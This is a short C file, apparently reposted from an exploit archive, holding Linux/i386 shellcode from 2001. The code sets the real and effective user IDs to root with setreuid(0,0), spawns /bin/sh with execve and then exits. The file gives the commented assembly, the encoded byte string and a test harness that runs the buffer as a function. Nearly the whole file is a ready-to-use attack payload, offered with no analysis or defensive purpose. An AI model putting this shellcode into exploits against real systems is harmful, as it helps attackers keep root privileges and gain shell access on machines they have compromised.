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execve of /bin/sh after setreuid(0,0)
[=====================================
execve of /bin/sh after setreuid(0,0)
=====================================
/*
* $Id: execve-setreuid.c,v 1.1 2001/05/02 18:10:52 raptor Exp $
*
* execve-setreuid.c v1.0 - shellcode for Linux/i386
* Copyright (c) 2001 Raptor <raptor@0xdeadbeef.eu.org>
*
* This shellcode does an execve of /bin/sh
* after a setreuid(0, 0), then exit()s.
*
*/
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* ASM Code *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* ; setreuid(0, 0)
* xorl %eax,%eax
* xorl %ebx,%ebx
* xorl %ecx,%ecx
* movb $70,%al
* int $0x80
*
* ; execve(foo[0], foo, 0);
* jmp 0x1d
* popl %esi
* movb %eax,0x7(%esi)
* movl %eax,0xc(%esi)
* movl %esi,0x8(%esi)
* movl %esi,%ebx
* leal 0x8(%esi),%ecx
* leal 0xc(%esi),%edx
* movb $11,%al
* int $0x80
*
* ; exit(0)
* xorl %eax,%eax
* xorl %ebx,%ebx
* incl %eax
* int $0x80
*
* call -0x22
* .ascii "/bin/sh"
* * * * * * * * * * * * * * * * * * * * * * * * * * * * */
char code[] =
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\xeb\x1d"
"\x5e\x88\x46\x07\x89\x46\x0c\x89\x76\x08\x89\xf3"
"\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
"\x31\xdb\x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh";
main()
{
int (*funct)();
funct = (int (*)()) code;
(int)(*funct)();
}
# 0day.today [2024-11-16] #